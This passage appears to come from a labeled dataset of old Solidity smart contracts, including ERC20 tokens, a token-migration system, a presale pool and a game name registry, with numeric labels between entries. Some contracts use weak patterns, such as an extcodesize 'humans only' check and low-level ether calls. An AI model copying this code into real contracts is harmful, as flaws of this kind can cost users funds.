mapping(address => uint256) internal balances;
uint256 internal totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_value <= balances[msg.sender]);
require(_to != address(0));
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
function burn(uint256 _value) public {
_burn(msg.sender, _value);
}
function _burn(address _who, uint256 _value) internal {
require(_value <= balances[_who]);
balances[_who] = balances[_who].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(_who, _value);
emit Transfer(_who, address(0), _value);
}
}
contract ERC20 is ERC20Basic {
function allowance(address _owner, address _spender)
public view returns (uint256);
function transferFrom(address _from, address _to, uint256 _value)
public returns (bool);
function approve(address _spender, uint256 _value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
require(_to != address(0));
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue >= oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract Claimable is Ownable {
address public pendingOwner;
modifier onlyPendingOwner() {
require(msg.sender == pendingOwner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
pendingOwner = newOwner;
}
function claimOwnership() public onlyPendingOwner {
emit OwnershipTransferred(owner, pendingOwner);
owner = pendingOwner;
pendingOwner = address(0);
}
}
contract ZeroCarbon is StandardToken, Claimable, BurnableToken {
using SafeMath for uint256;
string public constant name = "ZeroCarbon";
string public constant symbol = "ZCC";
uint8 public constant decimals = 18;
uint256 public constant INITIAL_SUPPLY = 240000000 * (10 ** uint256(decimals));
constructor () public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Basic(tokenAddress).transfer(owner, tokens);
}
} | 1 | 2,930 |
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
require(b > 0);
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
require(b <= a);
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a);
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
require(b != 0);
return a % b;
}
}
contract Ownable {
address private _owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
_owner = msg.sender;
}
function owner() public view returns(address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner());
_;
}
function isOwner() public view returns(bool) {
return msg.sender == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(_owner);
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0));
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
contract FINPointRecord is Ownable {
using SafeMath for uint256;
uint256 public claimRate;
mapping (address => uint256) public claimableFIN;
event FINRecordCreate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _finERC20Amount
);
event FINRecordUpdate(
address indexed _recordAddress,
uint256 _finPointAmount,
uint256 _finERC20Amount
);
event FINRecordMove(
address indexed _oldAddress,
address indexed _newAddress,
uint256 _finERC20Amount
);
event ClaimRateSet(uint256 _claimRate);
modifier canRecord() {
require(claimRate > 0);
_;
}
function setClaimRate(uint256 _claimRate) public onlyOwner{
require(_claimRate <= 1000);
require(_claimRate >= 100);
claimRate = _claimRate;
emit ClaimRateSet(claimRate);
}
function recordCreate(address _recordAddress, uint256 _finPointAmount, bool _applyClaimRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000);
uint256 finERC20Amount;
if(_applyClaimRate == true) {
finERC20Amount = _finPointAmount.mul(claimRate).div(100);
} else {
finERC20Amount = _finPointAmount;
}
claimableFIN[_recordAddress] = claimableFIN[_recordAddress].add(finERC20Amount);
emit FINRecordCreate(_recordAddress, _finPointAmount, claimableFIN[_recordAddress]);
}
function recordUpdate(address _recordAddress, uint256 _finPointAmount, bool _applyClaimRate) public onlyOwner canRecord {
require(_finPointAmount >= 100000);
uint256 finERC20Amount;
if(_applyClaimRate == true) {
finERC20Amount = _finPointAmount.mul(claimRate).div(100);
} else {
finERC20Amount = _finPointAmount;
}
claimableFIN[_recordAddress] = finERC20Amount;
emit FINRecordUpdate(_recordAddress, _finPointAmount, claimableFIN[_recordAddress]);
}
function recordMove(address _oldAddress, address _newAddress) public onlyOwner canRecord {
require(claimableFIN[_oldAddress] != 0);
require(claimableFIN[_newAddress] == 0);
claimableFIN[_newAddress] = claimableFIN[_oldAddress];
claimableFIN[_oldAddress] = 0;
emit FINRecordMove(_oldAddress, _newAddress, claimableFIN[_newAddress]);
}
function recordGet(address _recordAddress) public view returns (uint256) {
return claimableFIN[_recordAddress];
}
function () public payable {
revert ();
}
}
contract Claimable is Ownable {
FINPointRecord public finPointRecordContract;
mapping (address => bool) public isMinted;
event RecordSourceTransferred(
address indexed previousRecordContract,
address indexed newRecordContract
);
constructor(FINPointRecord _finPointRecordContract) public {
finPointRecordContract = _finPointRecordContract;
}
function transferRecordSource(FINPointRecord _newRecordContract) public onlyOwner {
_transferRecordSource(_newRecordContract);
}
function _transferRecordSource(FINPointRecord _newRecordContract) internal {
require(_newRecordContract != address(0));
emit RecordSourceTransferred(finPointRecordContract, _newRecordContract);
finPointRecordContract = _newRecordContract;
}
}
contract ERC20Interface {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
function allowance(address owner, address spender)public view returns (uint256);
function transferFrom(address from, address to, uint256 value)public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner,address indexed spender,uint256 value);
}
contract StandardToken is ERC20Interface {
using SafeMath for uint256;
mapping(address => uint256) public balances;
mapping (address => mapping (address => uint256)) internal allowed;
string public name;
string public symbol;
uint8 public decimals;
uint256 public totalSupply_;
bool public migrationStart;
TimeLock public timeLockContract;
modifier migrateStarted {
if(migrationStart == true){
require(msg.sender == address(timeLockContract));
}
_;
}
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public migrateStarted returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
migrateStarted
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint256 _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint256 _subtractedValue
)
public
returns (bool)
{
uint256 oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract TimeLock {
MintableToken public ERC20Contract;
struct accountData {
uint256 balance;
uint256 releaseTime;
}
event Lock(address indexed _tokenLockAccount, uint256 _lockBalance, uint256 _releaseTime);
event UnLock(address indexed _tokenUnLockAccount, uint256 _unLockBalance, uint256 _unLockTime);
mapping (address => accountData) public accounts;
constructor(MintableToken _ERC20Contract) public {
ERC20Contract = _ERC20Contract;
}
function timeLockTokens(uint256 _lockTimeS) public {
uint256 lockAmount = ERC20Contract.allowance(msg.sender, this);
require(lockAmount != 0);
if (accounts[msg.sender].balance > 0) {
accounts[msg.sender].balance = SafeMath.add(accounts[msg.sender].balance, lockAmount);
} else {
accounts[msg.sender].balance = lockAmount;
accounts[msg.sender].releaseTime = SafeMath.add(block.timestamp, _lockTimeS);
}
emit Lock(msg.sender, lockAmount, accounts[msg.sender].releaseTime);
ERC20Contract.transferFrom(msg.sender, this, lockAmount);
}
function tokenRelease() public {
require (accounts[msg.sender].balance != 0 && accounts[msg.sender].releaseTime <= block.timestamp);
uint256 transferUnlockedBalance = accounts[msg.sender].balance;
accounts[msg.sender].balance = 0;
accounts[msg.sender].releaseTime = 0;
emit UnLock(msg.sender, transferUnlockedBalance, block.timestamp);
ERC20Contract.transfer(msg.sender, transferUnlockedBalance);
}
function getERC20() public view returns (address) {
return ERC20Contract;
}
}
contract FINERC20Migrate is Ownable {
using SafeMath for uint256;
mapping (address => uint256) public migratableFIN;
MintableToken public ERC20Contract;
constructor(MintableToken _finErc20) public {
ERC20Contract = _finErc20;
}
event FINMigrateRecordUpdate(
address indexed _account,
uint256 _totalMigratableFIN
);
function initiateMigration(uint256 _balanceToMigrate) public {
uint256 migratable = ERC20Contract.migrateTransfer(msg.sender, _balanceToMigrate);
migratableFIN[msg.sender] = migratableFIN[msg.sender].add(migratable);
emit FINMigrateRecordUpdate(msg.sender, migratableFIN[msg.sender]);
}
function getFINMigrationRecord(address _account) public view returns (uint256) {
return migratableFIN[_account];
}
function getERC20() public view returns (address) {
return ERC20Contract;
}
}
contract MintableToken is StandardToken, Claimable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
event SetMigrationAddress(address _finERC20MigrateAddress);
event SetTimeLockAddress(address _timeLockAddress);
event MigrationStarted();
event Migrated(address indexed account, uint256 amount);
bool public mintingFinished = false;
FINERC20Migrate public finERC20MigrationContract;
modifier canMint() {
require(!mintingFinished);
_;
}
modifier onlyMigrate {
require(msg.sender == address(finERC20MigrationContract));
_;
}
constructor(FINPointRecord _finPointRecordContract, string _name, string _symbol, uint8 _decimals)
public
Claimable(_finPointRecordContract)
StandardToken(_name, _symbol, _decimals) {
}
function () public payable {
revert ();
}
function mintAllowance(address _ethAddress) public onlyOwner {
require(finPointRecordContract.recordGet(_ethAddress) != 0);
require(isMinted[_ethAddress] == false);
isMinted[_ethAddress] = true;
mint(msg.sender, finPointRecordContract.recordGet(_ethAddress));
approve(_ethAddress, finPointRecordContract.recordGet(_ethAddress));
}
function mint(
address _to,
uint256 _amount
)
private
canMint
returns (bool)
{
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
function finishMinting() public onlyOwner canMint returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
function setMigrationAddress(FINERC20Migrate _finERC20MigrationContract) public onlyOwner returns (bool) {
require(_finERC20MigrationContract.getERC20() == address(this));
finERC20MigrationContract = _finERC20MigrationContract;
emit SetMigrationAddress(_finERC20MigrationContract);
return true;
}
function setTimeLockAddress(TimeLock _timeLockContract) public onlyOwner returns (bool) {
require(_timeLockContract.getERC20() == address(this));
timeLockContract = _timeLockContract;
emit SetTimeLockAddress(_timeLockContract);
return true;
}
function startMigration() onlyOwner public returns (bool) {
require(migrationStart == false);
require(finERC20MigrationContract != address(0));
require(timeLockContract != address(0));
migrationStart = true;
emit MigrationStarted();
return true;
}
function migrateTransfer(address _account, uint256 _amount) onlyMigrate public returns (uint256) {
require(migrationStart == true);
uint256 userBalance = balanceOf(_account);
require(userBalance >= _amount);
emit Migrated(_account, _amount);
balances[_account] = balances[_account].sub(_amount);
return _amount;
}
} | 0 | 1,617 |
pragma solidity ^0.4.19;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ERC20 {
function balanceOf(address _owner) constant returns (uint256 balance) {}
function transfer(address _to, uint256 _value) returns (bool success) {}
}
contract WhiteList {
function checkMemberLevel (address addr) view public returns (uint) {}
}
contract PresalePool {
using SafeMath for uint;
uint8 public contractStage = 1;
address public owner;
uint[] public contributionCaps;
uint public feePct;
address public receiverAddress;
uint constant public contributionMin = 100000000000000000;
uint constant public maxGasPrice = 50000000000;
WhiteList constant public whitelistContract = WhiteList(0x8D95B038cA80A986425FA240C3C17Fb2B6e9bc63);
uint public nextCapTime;
uint [] public nextContributionCaps;
uint public addressChangeBlock;
uint public finalBalance;
uint[] public ethRefundAmount;
address public activeToken;
struct Contributor {
bool authorized;
uint ethRefund;
uint balance;
uint cap;
mapping (address => uint) tokensClaimed;
}
mapping (address => Contributor) whitelist;
struct TokenAllocation {
ERC20 token;
uint[] pct;
uint balanceRemaining;
}
mapping (address => TokenAllocation) distributionMap;
modifier onlyOwner () {
require (msg.sender == owner);
_;
}
bool locked;
modifier noReentrancy() {
require(!locked);
locked = true;
_;
locked = false;
}
event ContributorBalanceChanged (address contributor, uint totalBalance);
event ReceiverAddressSet ( address _addr);
event PoolSubmitted (address receiver, uint amount);
event WithdrawalsOpen (address tokenAddr);
event TokensWithdrawn (address receiver, uint amount);
event EthRefundReceived (address sender, uint amount);
event EthRefunded (address receiver, uint amount);
event ERC223Received (address token, uint value);
function _toPct (uint numerator, uint denominator ) internal pure returns (uint) {
return numerator.mul(10 ** 20) / denominator;
}
function _applyPct (uint numerator, uint pct) internal pure returns (uint) {
return numerator.mul(pct) / (10 ** 20);
}
function PresalePool(address receiverAddr, uint[] capAmounts, uint fee) public {
require (fee < 100);
require (capAmounts.length>1 && capAmounts.length<256);
for (uint8 i=1; i<capAmounts.length; i++) {
require (capAmounts[i] <= capAmounts[0]);
}
owner = msg.sender;
receiverAddress = receiverAddr;
contributionCaps = capAmounts;
feePct = _toPct(fee,100);
whitelist[msg.sender].authorized = true;
}
function () payable public {
if (contractStage == 1) {
_ethDeposit();
} else if (contractStage == 3) {
_ethRefund();
} else revert();
}
function _ethDeposit () internal {
assert (contractStage == 1);
require (tx.gasprice <= maxGasPrice);
require (this.balance <= contributionCaps[0]);
var c = whitelist[msg.sender];
uint newBalance = c.balance.add(msg.value);
require (newBalance >= contributionMin);
require (newBalance <= _checkCap(msg.sender));
c.balance = newBalance;
ContributorBalanceChanged(msg.sender, newBalance);
}
function _ethRefund () internal {
assert (contractStage == 3);
require (msg.sender == owner || msg.sender == receiverAddress);
require (msg.value >= contributionMin);
ethRefundAmount.push(msg.value);
EthRefundReceived(msg.sender, msg.value);
}
function withdraw (address tokenAddr) public {
var c = whitelist[msg.sender];
require (c.balance > 0);
if (contractStage < 3) {
uint amountToTransfer = c.balance;
c.balance = 0;
msg.sender.transfer(amountToTransfer);
ContributorBalanceChanged(msg.sender, 0);
} else {
_withdraw(msg.sender,tokenAddr);
}
}
function withdrawFor (address contributor, address tokenAddr) public onlyOwner {
require (contractStage == 3);
require (whitelist[contributor].balance > 0);
_withdraw(contributor,tokenAddr);
}
function _withdraw (address receiver, address tokenAddr) internal {
assert (contractStage == 3);
var c = whitelist[receiver];
if (tokenAddr == 0x00) {
tokenAddr = activeToken;
}
var d = distributionMap[tokenAddr];
require ( (ethRefundAmount.length > c.ethRefund) || d.pct.length > c.tokensClaimed[tokenAddr] );
if (ethRefundAmount.length > c.ethRefund) {
uint pct = _toPct(c.balance,finalBalance);
uint ethAmount = 0;
for (uint i=c.ethRefund; i<ethRefundAmount.length; i++) {
ethAmount = ethAmount.add(_applyPct(ethRefundAmount[i],pct));
}
c.ethRefund = ethRefundAmount.length;
if (ethAmount > 0) {
receiver.transfer(ethAmount);
EthRefunded(receiver,ethAmount);
}
}
if (d.pct.length > c.tokensClaimed[tokenAddr]) {
uint tokenAmount = 0;
for (i=c.tokensClaimed[tokenAddr]; i<d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance,d.pct[i]));
}
c.tokensClaimed[tokenAddr] = d.pct.length;
if (tokenAmount > 0) {
require(d.token.transfer(receiver,tokenAmount));
d.balanceRemaining = d.balanceRemaining.sub(tokenAmount);
TokensWithdrawn(receiver,tokenAmount);
}
}
}
function authorize (address addr, uint cap) public onlyOwner {
require (contractStage == 1);
_checkWhitelistContract(addr);
require (!whitelist[addr].authorized);
require ((cap > 0 && cap < contributionCaps.length) || (cap >= contributionMin && cap <= contributionCaps[0]) );
uint size;
assembly { size := extcodesize(addr) }
require (size == 0);
whitelist[addr].cap = cap;
whitelist[addr].authorized = true;
}
function authorizeMany (address[] addr, uint cap) public onlyOwner {
require (addr.length < 255);
require (cap > 0 && cap < contributionCaps.length);
for (uint8 i=0; i<addr.length; i++) {
authorize(addr[i], cap);
}
}
function revoke (address addr) public onlyOwner {
require (contractStage < 3);
require (whitelist[addr].authorized);
require (whitelistContract.checkMemberLevel(addr) == 0);
whitelist[addr].authorized = false;
if (whitelist[addr].balance > 0) {
uint amountToTransfer = whitelist[addr].balance;
whitelist[addr].balance = 0;
addr.transfer(amountToTransfer);
ContributorBalanceChanged(addr, 0);
}
}
function modifyIndividualCap (address addr, uint cap) public onlyOwner {
require (contractStage < 3);
require (cap < contributionCaps.length || (cap >= contributionMin && cap <= contributionCaps[0]) );
_checkWhitelistContract(addr);
var c = whitelist[addr];
require (c.authorized);
uint amount = c.balance;
c.cap = cap;
uint capAmount = _checkCap(addr);
if (amount > capAmount) {
c.balance = capAmount;
addr.transfer(amount.sub(capAmount));
ContributorBalanceChanged(addr, capAmount);
}
}
function modifyLevelCap (uint level, uint cap) public onlyOwner {
require (contractStage < 3);
require (level > 0 && level < contributionCaps.length);
require (this.balance <= cap && contributionCaps[0] >= cap);
contributionCaps[level] = cap;
nextCapTime = 0;
}
function modifyAllLevelCaps (uint[] cap, uint time) public onlyOwner {
require (contractStage < 3);
require (cap.length == contributionCaps.length-1);
require (time == 0 || time>block.timestamp);
if (time == 0) {
for (uint8 i = 0; i < cap.length; i++) {
modifyLevelCap(i+1, cap[i]);
}
} else {
nextContributionCaps = contributionCaps;
nextCapTime = time;
for (i = 0; i < cap.length; i++) {
require (contributionCaps[i+1] <= cap[i] && contributionCaps[0] >= cap[i]);
nextContributionCaps[i+1] = cap[i];
}
}
}
function modifyMaxContractBalance (uint amount) public onlyOwner {
require (contractStage < 3);
require (amount >= contributionMin);
require (amount >= this.balance);
contributionCaps[0] = amount;
nextCapTime = 0;
for (uint8 i=1; i<contributionCaps.length; i++) {
if (contributionCaps[i]>amount) contributionCaps[i]=amount;
}
}
function _checkCap (address addr) internal returns (uint) {
_checkWhitelistContract(addr);
var c = whitelist[addr];
if (!c.authorized) return 0;
if (nextCapTime>0 && block.timestamp>nextCapTime) {
contributionCaps = nextContributionCaps;
nextCapTime = 0;
}
if (c.cap<contributionCaps.length) return contributionCaps[c.cap];
return c.cap;
}
function _checkWhitelistContract (address addr) internal {
var c = whitelist[addr];
if (!c.authorized) {
var level = whitelistContract.checkMemberLevel(addr);
if (level == 0 || level >= contributionCaps.length) return;
c.cap = level;
c.authorized = true;
}
}
function checkPoolBalance () view public returns (uint poolCap, uint balance, uint remaining) {
if (contractStage == 1) {
remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (contributionCaps[0],this.balance,remaining);
}
function checkContributorBalance (address addr) view public returns (uint balance, uint cap, uint remaining) {
var c = whitelist[addr];
if (!c.authorized) {
cap = whitelistContract.checkMemberLevel(addr);
if (cap == 0) return (0,0,0);
} else {
cap = c.cap;
}
balance = c.balance;
if (contractStage == 1) {
if (cap<contributionCaps.length) {
if (nextCapTime == 0 || nextCapTime > block.timestamp) {
cap = contributionCaps[cap];
} else {
cap = nextContributionCaps[cap];
}
}
remaining = cap.sub(balance);
if (contributionCaps[0].sub(this.balance) < remaining) remaining = contributionCaps[0].sub(this.balance);
} else {
remaining = 0;
}
return (balance, cap, remaining);
}
function checkAvailableTokens (address addr, address tokenAddr) view public returns (uint tokenAmount) {
var c = whitelist[addr];
var d = distributionMap[tokenAddr];
for (uint i = c.tokensClaimed[tokenAddr]; i < d.pct.length; i++) {
tokenAmount = tokenAmount.add(_applyPct(c.balance, d.pct[i]));
}
return tokenAmount;
}
function closeContributions () public onlyOwner {
require (contractStage == 1);
contractStage = 2;
}
function reopenContributions () public onlyOwner {
require (contractStage == 2);
contractStage = 1;
}
function setReceiverAddress (address addr) public onlyOwner {
require (addr != 0x00 && receiverAddress == 0x00);
require (contractStage < 3);
receiverAddress = addr;
addressChangeBlock = block.number;
ReceiverAddressSet(addr);
}
function submitPool (uint amountInWei) public onlyOwner noReentrancy {
require (contractStage < 3);
require (receiverAddress != 0x00);
require (block.number >= addressChangeBlock.add(6000));
require (contributionMin <= amountInWei && amountInWei <= this.balance);
finalBalance = this.balance;
require (receiverAddress.call.value(amountInWei).gas(msg.gas.sub(5000))());
ethRefundAmount.push(this.balance);
contractStage = 3;
PoolSubmitted(receiverAddress, amountInWei);
}
function enableTokenWithdrawals (address tokenAddr, bool notDefault) public onlyOwner noReentrancy {
require (contractStage == 3);
if (notDefault) {
require (activeToken != 0x00);
} else {
activeToken = tokenAddr;
}
var d = distributionMap[tokenAddr];
if (d.pct.length==0) d.token = ERC20(tokenAddr);
uint amount = d.token.balanceOf(this).sub(d.balanceRemaining);
require (amount > 0);
if (feePct > 0) {
require (d.token.transfer(owner,_applyPct(amount,feePct)));
}
amount = d.token.balanceOf(this).sub(d.balanceRemaining);
d.balanceRemaining = d.token.balanceOf(this);
d.pct.push(_toPct(amount,finalBalance));
}
function tokenFallback (address from, uint value, bytes data) public {
ERC223Received (from, value);
}
} | 0 | 389 |
pragma solidity ^0.4.24;
interface PlayerBookReceiverInterface {
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff) external;
function receivePlayerNameList(uint256 _pID, bytes32 _name) external;
}
contract PlayerBook {
using NameFilter for string;
using SafeMath for uint256;
address private manager = msg.sender;
address private community1 = 0x28a52B6FB427cf299b67f68835c7A37Bf80db915;
address private community2 = 0x366b8C3Dd186A29dCaA9C148F39cdf741997A168;
uint256 public registrationFee_ = 10 finney;
mapping(uint256 => PlayerBookReceiverInterface) public games_;
mapping(address => bytes32) public gameNames_;
mapping(address => uint256) public gameIDs_;
uint256 public gID_;
uint256 public pID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => Player) public plyr_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => mapping (uint256 => bytes32)) public plyrNameList_;
struct Player {
address addr;
bytes32 name;
uint256 laff;
uint256 names;
}
constructor()
public
{
plyr_[1].addr = 0xdb81a5EFd600B87e31C31C64bc1F73E98a7Ed6D7;
plyr_[1].name = "alice";
plyr_[1].names = 1;
pIDxAddr_[0xdb81a5EFd600B87e31C31C64bc1F73E98a7Ed6D7] = 1;
pIDxName_["alice"] = 1;
plyrNames_[1]["alice"] = true;
plyrNameList_[1][1] = "alice";
plyr_[2].addr = 0x4a81569789c65258a9bC727c3990E48bdF97809c;
plyr_[2].name = "bob";
plyr_[2].names = 1;
pIDxAddr_[0x4a81569789c65258a9bC727c3990E48bdF97809c] = 2;
pIDxName_["bob"] = 2;
plyrNames_[2]["bob"] = true;
plyrNameList_[2][1] = "bob";
plyr_[3].addr = 0xf5E59B09Fc926abEff0B16989fc649E29cd9dE7B;
plyr_[3].name = "clark";
plyr_[3].names = 1;
pIDxAddr_[0xf5E59B09Fc926abEff0B16989fc649E29cd9dE7B] = 3;
pIDxName_["clark"] = 3;
plyrNames_[3]["clark"] = true;
plyrNameList_[3][1] = "clark";
plyr_[4].addr = 0x15Bed2Fd45d1B4C43bFdA83205167E037e147d97;
plyr_[4].name = "dog";
plyr_[4].names = 1;
pIDxAddr_[0x15Bed2Fd45d1B4C43bFdA83205167E037e147d97] = 4;
pIDxName_["dog"] = 4;
plyrNames_[4]["dog"] = true;
plyrNameList_[4][1] = "dog";
pID_ = 4;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier onlyManager()
{
require(msg.sender == manager, "msg sender is not the manager");
_;
}
modifier isRegisteredGame()
{
require(gameIDs_[msg.sender] != 0);
_;
}
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
function checkIfNameValid(string _nameStr)
public
view
returns(bool)
{
bytes32 _name = _nameStr.nameFilter();
if (pIDxName_[_name] == 0)
return (true);
else
return (false);
}
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
if (_affCode != 0 && _affCode != plyr_[_pID].laff && _affCode != _pID)
{
plyr_[_pID].laff = _affCode;
} else if (_affCode == _pID) {
_affCode = 0;
}
registerNameCore(_pID, _addr, _affCode, _name, _isNewPlayer, _all);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != address(0) && _affCode != _addr)
{
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
require (msg.value >= registrationFee_, "umm..... you have to pay the name fee");
bytes32 _name = NameFilter.nameFilter(_nameString);
address _addr = msg.sender;
bool _isNewPlayer = determinePID(_addr);
uint256 _pID = pIDxAddr_[_addr];
uint256 _affID;
if (_affCode != "" && _affCode != _name)
{
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
registerNameCore(_pID, _addr, _affID, _name, _isNewPlayer, _all);
}
function addMeToGame(uint256 _gameID)
isHuman()
public
{
require(_gameID <= gID_, "silly player, that game doesn't exist yet");
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _totalNames = plyr_[_pID].names;
games_[_gameID].receivePlayerInfo(_pID, _addr, plyr_[_pID].name, plyr_[_pID].laff);
if (_totalNames > 1)
for (uint256 ii = 1; ii <= _totalNames; ii++)
games_[_gameID].receivePlayerNameList(_pID, plyrNameList_[_pID][ii]);
}
function addMeToAllGames()
isHuman()
public
{
address _addr = msg.sender;
uint256 _pID = pIDxAddr_[_addr];
require(_pID != 0, "hey there buddy, you dont even have an account");
uint256 _laff = plyr_[_pID].laff;
uint256 _totalNames = plyr_[_pID].names;
